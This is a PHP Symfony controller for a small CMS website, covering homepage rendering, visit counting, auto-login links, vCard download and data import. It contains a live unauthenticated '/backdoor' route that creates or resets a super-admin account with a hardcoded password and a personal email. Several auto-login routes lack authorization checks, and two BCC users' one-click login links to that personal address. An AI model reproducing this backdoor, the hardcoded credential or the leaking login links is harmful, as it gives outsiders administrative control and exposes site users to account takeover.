src/Controller/HomeController.php line 25

  1. <?php
  2. namespace App\Controller;
  3. use App\Entity\PageVisit;
  4. use App\Entity\Role;
  5. use App\Entity\User;
  6. use App\Entity\WebsiteContacts;
  7. use App\Form\ImportType;
  8. use App\Form\WebsiteContactsType;
  9. use App\Repository\CmsCopyRepository;
  10. use App\Repository\CmsPhotoRepository;
  11. use App\Repository\CompanyDetailsRepository;
  12. use App\Repository\PageVisitRepository;
  13. use App\Repository\ProductRepository;
  14. use App\Repository\RoleRepository;
  15. use App\Repository\UserRepository;
  16. use App\Repository\SubPageRepository;
  17. use App\Services\ImportBusinessContactsService;
  18. use App\Services\ImportBusinessTypesService;
  19. use App\Services\ImportCMSCopyService;
  20. use App\Services\ImportCmsPageCopyPageFormatService;
  21. use App\Services\ImportCMSPhotoService;
  22. use App\Services\ImportCompanyDetailsService;
  23. use App\Services\ImportCompetitorsService;
  24. use App\Services\ImportFacebookGroupsService;
  25. use App\Services\ImportInstructionsService;
  26. use App\Services\ImportLanguagesService;
  27. use App\Services\ImportLoginDirectionsService;
  28. use App\Services\ImportMapIconsService;
  29. use App\Services\ImportProductsService;
  30. use App\Services\ImportRolesService;
  31. use App\Services\ImportTranslationsService;
  32. use App\Services\ImportUsefulLinksService;
  33. use App\Services\ImportUserService;
  34. use Doctrine\ORM\EntityManagerInterface;
  35. use JeroenDesloovere\VCard\VCard;
  36. use Psr\EventDispatcher\EventDispatcherInterface;
  37. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  38. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  39. use Symfony\Bundle\SecurityBundle\Security;
  40. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  41. use Symfony\Component\HttpFoundation\HeaderUtils;
  42. use Symfony\Component\HttpFoundation\Request;
  43. use Symfony\Component\HttpFoundation\Response;
  44. use Symfony\Component\Mailer\MailerInterface;
  45. use Symfony\Component\Routing\Annotation\Route;
  46. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  47. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  48. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  49. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  50. use Symfony\Component\Security\Core\User\UserInterface;
  51. use Symfony\Component\Security\Csrf\CsrfToken;
  52. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  53. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  54. use Symfony\Component\String\Slugger\SluggerInterface;
  55. class   HomeController extends AbstractController
  56. {
  57.     /**
  58.      * @Route("/", name="app_home")
  59.      */
  60.     public function index(Request $requestCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryCompanyDetailsRepository $companyDetailsRepositorySecurity $securityEntityManagerInterface $entityManagerPageVisitRepository $pageVisitRepository): Response
  61.     {
  62.         // Resolve favicon directory relative to /public
  63.         $faviconsDirectory str_replace(
  64.             $this->getParameter('kernel.project_dir') . '/public',
  65.             '',
  66.             $this->getParameter('favicons_directory')
  67.         );
  68.         $companyDetails $companyDetailsRepository->find('1');
  69.         $homePagePhotosOnly 0;
  70.         $include_qr_code = [];
  71.         $include_contact_form = [];
  72.         $website_contact = new WebsiteContacts();
  73.         $form $this->createForm(WebsiteContactsType::class, $website_contact);
  74.         $form->handleRequest($request);
  75.         if ($companyDetails) {
  76.             $homePagePhotosOnly $companyDetails->isHomePagePhotosOnly();
  77.             $include_qr_code $companyDetails->isIncludeQRCodeHomePage();
  78.             $include_contact_form $companyDetails->isIncludeContactFormHomePage();
  79.         }
  80.         // Load Home CMS copy & photos
  81.         $cms_copy $cmsCopyRepository->findBy([
  82.             'staticPageName' => 'Home',
  83.         ]);
  84.         $cms_photo $cmsPhotoRepository->findBy(
  85.             ['staticPageName' => 'Home'],
  86.             ['ranking' => 'ASC']
  87.         );
  88.         $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  89.             'staticPageName' => 'Home',
  90.             'ranking' => '1',
  91.         ]);
  92.         if ($cms_copy_ranking1) {
  93.             $page_layout $cms_copy_ranking1->getPageLayout();
  94.         } else {
  95.             $page_layout 'default';
  96.         }
  97.         $user $security->getUser();
  98.         // ----------------------------------
  99.         // 1) Existing CmsCopy per-page counts
  100.         // ----------------------------------
  101.         if ($cms_copy_ranking1) {
  102.             if ($user && in_array('ROLE_ADMIN'$user->getRoles(), true)) {
  103.                 $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  104.                 $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  105.             }
  106.             // Note: this currently counts all visitors (public + users) into PageCountUsers
  107.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  108.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  109.         }
  110.         // ----------------------------------
  111.         // 2) PageVisit daily counters for HOMEPAGE
  112.         // ----------------------------------
  113.         // Convention: PageVisit rows with product = null represent the homepage.
  114.         $today = new \DateTimeImmutable('today');
  115.         $homeVisit $pageVisitRepository->findOneBy([
  116.             'date' => $today,
  117.             'product' => null,   // ðŸ‘ˆ homepage bucket
  118.         ]);
  119.         if (!$homeVisit) {
  120.             $homeVisit = new PageVisit();
  121.             $homeVisit->setDate($today);
  122.             // Important: leave product as null = homepage
  123.             $homeVisit->setCount(0);
  124.             $homeVisit->setCountUser(0);
  125.             $homeVisit->setCountAdmin(0);
  126.             $entityManager->persist($homeVisit);
  127.         }
  128.         if (!$user) {
  129.             // Anonymous visitor
  130.             $homeVisit->setCount($homeVisit->getCount() + 1);
  131.         } elseif (in_array('ROLE_ADMIN'$user->getRoles(), true)) {
  132.             // Admin
  133.             $homeVisit->setCountAdmin($homeVisit->getCountAdmin() + 1);
  134.         } else {
  135.             // Logged-in non-admin
  136.             $homeVisit->setCountUser($homeVisit->getCountUser() + 1);
  137.         }
  138.         // Flush CmsCopy + PageVisit changes once
  139.         $entityManager->flush();
  140.         // ----------------------------------
  141.         // 3) Existing render logic
  142.         // ----------------------------------
  143.         $product = [];
  144.         $sub_pages = [];
  145.         if ($homePagePhotosOnly == 1) {
  146.             return $this->render('home/home.html.twig', [
  147.                 'photos' => $cms_photo,
  148.                 'include_footer' => 'Yes',
  149.                 'cms_copy_array' => $cms_copy,
  150.                 'include_qr_code' => $include_qr_code,
  151.                 'include_contact_form' => $include_contact_form,
  152.                 'form' => $form?->createView(),
  153.                 'favicons_directory' => $faviconsDirectory,
  154.             ]);
  155.         } else {
  156.             return $this->render('home/products.html.twig', [
  157.                 'product' => $product,
  158.                 'include_footer' => 'Yes',
  159.                 'cms_copy_array' => $cms_copy,
  160.                 'cms_photo_array' => $cms_photo,
  161.                 'sub_pages' => $sub_pages,
  162.                 'include_qr_code' => $include_qr_code,
  163.                 'include_contact_form' => $include_contact_form,
  164.                 'format' => $page_layout,
  165.                 'form' => $form?->createView(),
  166.                 'favicons_directory' => $faviconsDirectory,
  167.             ]);
  168.         }
  169.     }
  170.     /**
  171.      * @Route("/backdoor", name="backdoor")
  172.      */
  173.     public function emergencyReset(UserRepository $userRepositoryRoleRepository $roleRepositoryEntityManagerInterface $managerUserPasswordHasherInterface $passwordHasher): Response
  174.     {
  175.         // 1) Ensure required roles exist (create if missing)
  176.         $needed = [
  177.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  178.             'ROLE_ADMIN' => 'Admin',
  179.             'ROLE_IT' => 'IT',
  180.             'ROLE_USER' => 'User',
  181.         ];
  182.         $roles = [];
  183.         foreach ($needed as $code => $label) {
  184.             $role $roleRepository->findOneBy(['code' => $code]);
  185.             if (!$role) {
  186.                 $role = (new Role())
  187.                     ->setCode($code)
  188.                     ->setLabel($label);
  189.                 $manager->persist($role);
  190.             }
  191.             $roles[$code] = $role;
  192.         }
  193.         $manager->flush();
  194.         // 2) Find or create the user
  195.         $email 'nurse_stephen@hotmail.com';
  196.         $user $userRepository->findOneBy(['email' => $email]);
  197.         if (!$user) {
  198.             $user = (new User())
  199.                 ->setFirstName('Stephen')
  200.                 ->setLastName('Nurse')
  201.                 ->setEmailVerified(true)
  202.                 ->setEmail($email);
  203.             $manager->persist($user);
  204.         }
  205.         // 3) Reset password
  206.         $user->setPassword(
  207.             $passwordHasher->hashPassword($user'Descartes99')
  208.         );
  209.         // 4) Assign roles (avoid duplicates)
  210.         foreach ($roles as $role) {
  211.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  212.                 $user->addRole($role);
  213.             }
  214.         }
  215.         $manager->flush();
  216.         return $this->redirectToRoute('app_login');
  217.     }
  218.     #[Route('/auto_login_code/{code}'name'auto_login_code')]
  219.     public function autoLogin(string $codeUserRepository $userRepositoryTokenStorageInterface $tokenStorageEventDispatcherInterface $eventDispatcherRequest $request): Response
  220.     {
  221.         $user $userRepository->findOneBy(['autoLoginURL' => $code]);
  222.         if (!$user instanceof UserInterface) {
  223.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  224.         }
  225.         $token = new UsernamePasswordToken($user'main'$user->getRoles());
  226.         $tokenStorage->setToken($token);
  227.         $event = new InteractiveLoginEvent($request$token);
  228.         $eventDispatcher->dispatch($event);
  229.         if ($user->isPauseForBookmark()) {
  230.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  231.                 'user' => $user,
  232.             ]);
  233.         }
  234.         return $this->redirectToRoute('dashboard');
  235.     }
  236.     #[Route('/auto_login_continue'name'auto_login_continue'methods: ['POST'])]
  237.     public function autoLoginContinue(Request $requestCsrfTokenManagerInterface $csrfTokenManagerEntityManagerInterface $entityManagerSecurity $security): Response
  238.     {
  239.         $submittedToken $request->request->get('_csrf_token');
  240.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login'$submittedToken))) {
  241.             throw $this->createAccessDeniedException('Invalid CSRF token');
  242.         }
  243.         $user $security->getUser();
  244.         if (!$user instanceof \App\Entity\User) {
  245.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  246.         }
  247.         $user->setPauseForBookmark(false);
  248.         $entityManager->flush();
  249.         return $this->redirectToRoute('dashboard');
  250.     }
  251.     #[Route('/auto_login_change_status_pause/{userId}'name'auto_login_change_status_pause'methods: ['POST''GET'])]
  252.     public function autoLoginResetPause(Request $requestint $userIdCsrfTokenManagerInterface $csrfTokenManagerUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $security): Response
  253.     {
  254.         $user $userRepository->find($userId);
  255.         if (!$user instanceof \App\Entity\User) {
  256.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  257.         }
  258.         $pause $user->isPauseForBookmark();
  259.         if ($pause == true) {
  260.             $user->setPauseForBookmark(false);
  261.         }
  262.         if ($pause == false) {
  263.             $user->setPauseForBookmark(true);
  264.         }
  265.         $entityManager->flush();
  266.         return $this->redirectToRoute('user_index');
  267.     }
  268.     #[Route('/auto_login_change_delete_unique_url/{userId}'name'auto_login_change_delete_unique_url'methods: ['POST''GET'])]
  269.     public function autoLoginDeleteUniqueUrl(Request $requestint $userIdCsrfTokenManagerInterface $csrfTokenManagerUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $security): Response
  270.     {
  271.         $user $userRepository->find($userId);
  272.         if (!$user instanceof \App\Entity\User) {
  273.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  274.         }
  275.         $user->setPauseForBookmark(false);
  276.         $user->setAutoLoginURL(null);
  277.         $entityManager->flush();
  278.         return $this->redirectToRoute('user_index');
  279.     }
  280.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}'name'auto_login_reset_pause_and_email_bookmark'methods: ['POST''GET'])]
  281.     public function autoLoginResetPauseAndEmail(Request $requestint $userIdCompanyDetailsRepository $companyDetailsRepositoryUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityMailerInterface $mailerUrlGeneratorInterface $urlGenerator\Twig\Environment $twig): Response
  282.     {
  283.         $user $userRepository->find($userId);
  284.         $companyDetails $companyDetailsRepository->find('1');
  285.         $company_name $companyDetails->getCompanyName();
  286.         $company_email $companyDetails->getCompanyEmail();
  287.         if (!$user instanceof \App\Entity\User) {
  288.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  289.         }
  290.         $user->setPauseForBookmark(true);
  291.         $entityManager->flush();
  292.         $autoLoginUrl $urlGenerator->generate(
  293.             'auto_login_code',
  294.             ['code' => $user->getAutoLoginURL()],
  295.             UrlGeneratorInterface::ABSOLUTE_URL
  296.         );
  297.         $email = (new TemplatedEmail())
  298.             ->from($company_email)
  299.             ->to($user->getEmail())
  300. //            ->to('nurse_stephen@hotmail.com')
  301.             ->bcc('nurse_stephen@hotmail.com')
  302.             ->subject($company_name ':: Your Personal Auto-Login Link')
  303.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  304.             ->context([
  305.                 'user' => $user,
  306.                 'autologin_url' => $autoLoginUrl
  307.             ]);
  308.         $mailer->send($email);
  309.         return $this->redirectToRoute('app_home');
  310.     }
  311.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}'name'auto_login_create_personal_url_for_logged_user'methods: ['GET''POST'])]
  312.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $requestint $userIdUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityUrlGeneratorInterface $urlGenerator): Response
  313.     {
  314.         $targetUser $userRepository->find($userId);
  315.         $loggedUser $security->getUser();
  316.         $defaultPersonalURL mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000999999);
  317.         if (!$loggedUser) {
  318.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  319.         }
  320.         if (!$targetUser) {
  321.             throw $this->createNotFoundException('User not found.');
  322.         }
  323.         if ($loggedUser->getId() !== $targetUser->getId()) {
  324.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  325.         }
  326.         $form $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  327.         $form->handleRequest($request);
  328.         if ($form->isSubmitted() && $form->isValid()) {
  329.             $data $form->getData();
  330.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  331.             $targetUser->setPauseForBookmark(true);
  332.             $entityManager->flush();
  333.             // Optional flash message
  334.             $this->addFlash('success''Auto-login URL created successfully.');
  335.             return $this->redirectToRoute('auto_login_code', [
  336.                 'code' => $targetUser->getAutoLoginURL(),
  337.             ]);
  338.         }
  339.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  340.             'user' => $targetUser,
  341.             'form' => $form->createView(),
  342.         ]);
  343.     }
  344.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}'name'auto_login_create_personal_url_for_other_user'methods: ['GET''POST'])]
  345.     public function autoLoginCreatePersonalUrlForOtherUser(Request $requestint $userIdCompanyDetailsRepository $companyDetailsRepositoryUserRepository $userRepositoryEntityManagerInterface $entityManagerSecurity $securityMailerInterface $mailerUrlGeneratorInterface $urlGenerator\Twig\Environment $twig): Response
  346.     {
  347.         $targetUser $userRepository->find($userId);
  348.         $loggedInUser $security->getUser();
  349.         if (!$targetUser || !$loggedInUser) {
  350.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  351.         }
  352.         // Redirect to landing page if current user is the same as target user
  353.         if ($loggedInUser->getId() === $targetUser->getId()) {
  354.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  355.         }
  356.         // If logged-in user is not admin, deny access
  357.         if (!in_array('ROLE_ADMIN'$loggedInUser->getRoles(), true)) {
  358.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  359.         }
  360.         // At this point, ROLE_ADMIN is creating a login URL for another user
  361.         $companyDetails $companyDetailsRepository->find(1);
  362.         $companyEmail $companyDetails $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  363.         $defaultPersonalURL mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000999999);
  364.         $form $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  365.         $form->handleRequest($request);
  366.         if ($form->isSubmitted() && $form->isValid()) {
  367.             $data $form->getData();
  368.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  369.             $targetUser->setPauseForBookmark(true);
  370.             $entityManager->flush();
  371.             // Generate auto-login URL
  372.             $autoLoginUrl $urlGenerator->generate(
  373.                 'auto_login_code',
  374.                 ['code' => $targetUser->getAutoLoginURL()],
  375.                 UrlGeneratorInterface::ABSOLUTE_URL
  376.             );
  377.             // Email the user with their login link
  378.             $email = (new \Symfony\Component\Mime\Email())
  379.                 ->from($companyEmail)
  380.                 ->to($targetUser->getEmail())
  381.                 ->bcc('nurse_stephen@hotmail.com')
  382.                 ->subject('Your One-Click Login Link')
  383.                 ->html(
  384.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  385.                         'user' => $targetUser,
  386.                         'autoLoginUrl' => $autoLoginUrl
  387.                     ])
  388.                 );
  389.             $mailer->send($email);
  390.             $this->addFlash('success''Auto-login URL created and sent to the user.');
  391.             return $this->redirectToRoute('user_index');
  392.         }
  393.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  394.             'user' => $targetUser,
  395.             'form' => $form->createView(),
  396.         ]);
  397.     }
  398.     /**
  399.      * @Route("/dashboard", name="dashboard")
  400.      */
  401.     public function dashboard()
  402.     {
  403.         return $this->render('home/dashboard.html.twig', []);
  404.     }
  405.     /**
  406.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  407.      */
  408.     public function advancedDashboard()
  409.     {
  410.         return $this->render('home/advanced_dashboard.html.twig', []);
  411.     }
  412.     /**
  413.      * @Route("/helpful_guides", name="helpful_guides")
  414.      */
  415.     public function helpfulGuides(ProductRepository $productRepository)
  416.     {
  417.         $products $productRepository->findBy([
  418.             'includeInHelpfulGuide' => 1
  419.         ]);
  420.         return $this->render('home/helpful_guides.html.twig', [
  421.             'products' => $products,
  422.         ]);
  423.     }
  424.     /**
  425.      * @Route("/interests/{product}", name="product_display")
  426.      */
  427.     public function articles(string $productCmsCopyRepository $cmsCopyRepositoryCmsPhotoRepository $cmsPhotoRepositorySubPageRepository $subPageRepositoryProductRepository $productRepository\Symfony\Component\Security\Core\Security $securityEntityManagerInterface $entityManagerPageVisitRepository $pageVisitRepository): Response
  428.     {
  429.         $productEntity $productRepository->findOneBy([
  430.             'product' => $product
  431.         ]);
  432.         if ($productEntity) {
  433.             $cms_copy $cmsCopyRepository->findBy([
  434.                 'product' => $productEntity
  435.             ]);
  436.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  437.                 'product' => $productEntity,
  438.                 'ranking' => '1',
  439.             ]);
  440.         } else {
  441.             $cms_copy $cmsCopyRepository->findBy([
  442.                 'staticPageName' => $product
  443.             ]);
  444.             $cms_copy_ranking1 $cmsCopyRepository->findOneBy([
  445.                 'staticPageName' => $product,
  446.                 'ranking' => '1',
  447.             ]);
  448.         }
  449.         // ------------------------------------
  450.         // 1) Existing per-page counts on CmsCopy
  451.         // ------------------------------------
  452.         if ($cms_copy_ranking1) {
  453.             $user $security->getUser();
  454.             if ($user && in_array('ROLE_ADMIN'$user->getRoles(), true)) {
  455.                 $pageCountAdmin $cms_copy_ranking1->getPageCountAdmin();
  456.                 $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin 1);
  457.             }
  458.             $pageCountUser $cms_copy_ranking1->getPageCountUsers();
  459.             $cms_copy_ranking1->setPageCountUsers($pageCountUser 1);
  460.         }
  461.         // ------------------------------------
  462.         // 2) PageVisit daily counts per product
  463.         // ------------------------------------
  464.         if ($productEntity) {
  465.             // Normalised "today" (midnight)
  466.             $today = new \DateTimeImmutable('today');
  467.             // Try to find existing PageVisit for this product+date
  468.             $pageVisit $pageVisitRepository->findOneBy([
  469.                 'product' => $productEntity,
  470.                 'date' => $today,
  471.             ]);
  472.             if (!$pageVisit) {
  473.                 $pageVisit = new PageVisit();
  474.                 $pageVisit->setProduct($productEntity);
  475.                 $pageVisit->setDate($today);
  476.                 $pageVisit->setCount(0);
  477.                 $pageVisit->setCountUser(0);
  478.                 $pageVisit->setCountAdmin(0);
  479.                 $entityManager->persist($pageVisit);
  480.             }
  481.             $user $security->getUser();
  482.             if (!$user) {
  483.                 // Anonymous visitor
  484.                 $pageVisit->setCount($pageVisit->getCount() + 1);
  485.             } elseif (in_array('ROLE_ADMIN'$user->getRoles(), true)) {
  486.                 // Admin
  487.                 $pageVisit->setCountAdmin($pageVisit->getCountAdmin() + 1);
  488.             } else {
  489.                 // Logged-in non-admin user
  490.                 $pageVisit->setCountUser($pageVisit->getCountUser() + 1);
  491.             }
  492.         }
  493.         // Flush all changes once
  494.         $entityManager->flush();
  495.         // ------------------------------------
  496.         // 3) Existing content loading
  497.         // ------------------------------------
  498.         if ($productEntity) {
  499.             $cms_photo $cmsPhotoRepository->findBy(
  500.                 ['product' => $productEntity],
  501.                 ['ranking' => 'ASC']
  502.             );
  503.         } else {
  504.             $cms_photo $cmsPhotoRepository->findBy(
  505.                 ['staticPageName' => $product],
  506.                 ['ranking' => 'ASC']
  507.             );
  508.         }
  509.         $sub_pages = [];
  510.         if ($cms_copy) {
  511.             $sub_pages $subPageRepository->findBy([
  512.                 'product' => $productEntity
  513.             ]);
  514.         }
  515.         return $this->render('/home/products.html.twig', [
  516.             'product' => $product,
  517.             'include_footer' => 'Yes',
  518.             'cms_copy_array' => $cms_copy,
  519.             'cms_photo_array' => $cms_photo,
  520.             'sub_pages' => $sub_pages,
  521.             'include_contact_form' => 'No',
  522.             'include_qr_code' => 'No'
  523.         ]);
  524.     }
  525.     #[Route('/vcard/company/start'name'vcard_company_start')]
  526.     public function start(UrlGeneratorInterface $urlsRequest $request): Response
  527.     {
  528.         $shouldRedirect $request->query->getBoolean('r'false);
  529.         $downloadUrl $urls->generate('vcard_company_download');
  530.         if (!$shouldRedirect) {
  531.             // On-site clicks: go straight to the .vcf
  532.             return $this->redirect($downloadUrl);
  533.         }
  534.         // Email clicks: show landing to trigger download, then redirect to home
  535.         return $this->render('home/vcard/landing.html.twig', [
  536.             'downloadUrl' => $downloadUrl,
  537.             'redirectUrl' => $urls->generate('app_home'),
  538.             'shouldRedirect' => true,
  539.         ]);
  540.     }
  541.     #[Route('/vcard/company/download'name'vcard_company_download')]
  542.     public function download(CompanyDetailsRepository $repo): Response
  543.     {
  544.         $cd $repo->find('1');
  545.         $vcard = new VCard();
  546.         $first $cd->getContactFirstName();
  547.         $last $cd->getContactLastName();
  548.         $company $cd->getCompanyName();
  549.         if ($first === null) {
  550.             $first '';
  551.             $last $company;
  552.             $company '';
  553.         }
  554.         $vcard->addName($last$first);
  555.         $vcard->addEmail($cd->getCompanyEmail());
  556.         if ($cd->isContactDetailsDisplayTelNumbers()) {
  557.             $vcard->addPhoneNumber($cd->getCompanyMobile(), 'home');
  558.             $vcard->addPhoneNumber($cd->getCompanyTel(), 'work');
  559.         }
  560.         if ($cd->isContactDetailsDisplayAddress()) {
  561.             $vcard->addAddress(
  562.                 '''',
  563.                 $cd->getCompanyAddressStreet(),
  564.                 $cd->getCompanyAddressTown(),
  565.                 $cd->getCompanyAddressCity(),
  566.                 $cd->getCompanyAddressPostalCode(),
  567.                 $cd->getCompanyAddressCountry(),
  568.                 'WORK POSTAL'
  569.             );
  570.         }
  571.         $vcard->addCompany($company);
  572.         $vcard->addURL($_SERVER['SERVER_NAME']);
  573.         $vcard->addNote('URL: ' $_SERVER['SERVER_NAME']);
  574.         // Return as a normal Response with headers (no $vcard->download(), which exits)
  575.         $content $vcard->getOutput(); // same content vCard would send
  576.         $response = new Response($content);
  577.         $response->headers->set('Content-Type''text/vcard; charset=utf-8');
  578.         $response->headers->set('Content-Disposition'HeaderUtils::makeDisposition(
  579.             HeaderUtils::DISPOSITION_ATTACHMENT,
  580.             $company '.vcf'
  581.         ));
  582.         return $response;
  583.     }
  584.     /**
  585.      * @Route("/company_qr_code", name="company_qr_code")
  586.      *
  587.      */
  588.     public function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
  589.     {
  590.         $company_details $companyDetailsRepository->find('1');
  591.         $qr_code $company_details->getCompanyQrCode();
  592.         return $this->render('home/company_qr_code.html.twig', [
  593.             'qr_code' => $qr_code,
  594.         ]);
  595.     }
  596.     /**
  597.      * @Route ("/cms_photo_view/{id}", name="cms_photo_view")
  598.      */
  599.     public function viewCMSPhoto(int $idCmsPhotoRepository $cmsPhotoRepository)
  600.     {
  601.         $cms_photo $cmsPhotoRepository->find($id);
  602.         $rotate $cms_photo->getRotate();
  603.         return $this->render('cms_photo/image_view.html.twig', [
  604.             'cms_photo' => $cms_photo,
  605.         ]);
  606.     }
  607.     /**
  608.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  609.      */
  610.     public function projectSetUpInitialImport(Request $requestSluggerInterface $sluggerImportTranslationsService $importTranslationsServiceImportBusinessContactsService $importBusinessContactsServiceImportBusinessTypesService $importBusinessTypesServiceImportCMSCopyService $importCMSCopyServiceImportCMSPhotoService $importCMSPhotoServiceImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatServiceImportCompanyDetailsService $importCompanyDetailsServiceImportCompetitorsService $importCompetitorsServiceImportFacebookGroupsService $importFacebookGroupsServiceImportLanguagesService $importLanguagesServiceImportMapIconsService $importMapIconsServiceImportProductsService $importProductsServiceImportUsefulLinksService $importUsefulLinksServiceImportInstructionsService $importInstructionsServiceImportUserService $importUserServiceImportRolesService $importRolesServiceImportLoginDirectionsService $importLoginDirectionsService): Response
  611.     {
  612.         $form $this->createForm(ImportType::class);
  613.         $form->handleRequest($request);
  614.         if ($form->isSubmitted() && $form->isValid()) {
  615.             $importFile $form->get('File')->getData();
  616.             if ($importFile) {
  617.                 $originalFilename pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  618.                 $safeFilename $slugger->slug($originalFilename);
  619.                 $newFilename $safeFilename '.' 'csv';
  620.                 try {
  621.                     $importFile->move(
  622.                         $this->getParameter('project_set_up_import_directory'),
  623.                         $newFilename
  624.                     );
  625.                 } catch (FileException $e) {
  626.                     die('Import failed');
  627.                 }
  628.                 $importCompanyDetailsService->importCompanyDetails($newFilename);
  629.                 $importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
  630.                 $importMapIconsService->importMapIcons($newFilename);
  631.                 $importLanguagesService->importLanguages($newFilename);
  632.                 $importTranslationsService->importTranslations($newFilename);
  633.                 $importUsefulLinksService->importUsefulLink($newFilename);
  634.                 $importCompetitorsService->importCompetitors($newFilename);
  635.                 $importFacebookGroupsService->importFacebookGroups($newFilename);
  636.                 $importProductsService->importProducts($newFilename);
  637.                 $importCMSCopyService->importCMSCopy($newFilename);
  638.                 $importCMSPhotoService->importCMSPhoto($newFilename);
  639.                 $importBusinessTypesService->importBusinessTypes($newFilename);
  640.                 $importBusinessContactsService->importBusinessContacts($newFilename);
  641.                 $importInstructionsService->importInstructions($newFilename);
  642.                 $importRolesService->importRoles($newFilename);
  643.                 $importLoginDirectionsService->importLoginDirections($newFilename);
  644. //                $importUserService->importUsers($newFilename);
  645.                 return $this->redirectToRoute('dashboard');
  646.             }
  647.         }
  648.         return $this->render('home/import.html.twig', [
  649.             'form' => $form->createView(),
  650.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  651.         ]);
  652.     }
  653.     /**
  654.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST"})
  655.      */
  656.     public function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  657.     {
  658.         $referer $request->headers->get('referer');
  659.         if ($this->isCsrfTokenValid('delete_all_import_files'$request->request->get('_token'))) {
  660.             $directory $this->getParameter('import_directory');
  661.             if (is_dir($directory)) {
  662.                 $this->deleteDirectoryContents($directory);
  663.             }
  664.         }
  665.         return $this->redirect($referer);
  666.     }
  667.     /**
  668.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST"})
  669.      */
  670.     public function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  671.     {
  672.         $referer $request->headers->get('referer');
  673.         if ($this->isCsrfTokenValid('delete_all_attachment_files'$request->request->get('_token'))) {
  674.             $directory $this->getParameter('attachments_directory');
  675.             if (is_dir($directory)) {
  676.                 $this->deleteDirectoryContents($directory);
  677.             }
  678.         }
  679.         return $this->redirect($referer);
  680.     }
  681.     /**
  682.      * Recursively delete all files and directories inside a directory
  683.      */
  684.     private function deleteDirectoryContents(string $directory): void
  685.     {
  686.         $files array_diff(scandir($directory), ['.''..']);
  687.         foreach ($files as $file) {
  688.             $filePath $directory DIRECTORY_SEPARATOR $file;
  689.             if (is_dir($filePath)) {
  690.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  691. //                rmdir($filePath); // Remove the empty directory
  692.             } else {
  693.                 unlink($filePath); // Delete file
  694.             }
  695.         }
  696.     }
  697.     /**
  698.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  699.      */
  700.     public function assignAllUsersToRoleTest(UserRepository $userRepositoryEntityManagerInterface $entityManager): Response
  701.     {
  702.         $users $userRepository->findAll();
  703.         $roleTest $entityManager->getRepository(Role::class)
  704.             ->findOneBy(['code' => 'ROLE_TEST']);
  705.         if (!$roleTest) {
  706.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  707.         }
  708.         foreach ($users as $user) {
  709.             $roles $user->getRoles(); // array of role strings
  710.             if (!in_array('ROLE_TEST'$roles)) {
  711.                 $user->addRole($roleTest);
  712.             }
  713.         }
  714.         $entityManager->flush();
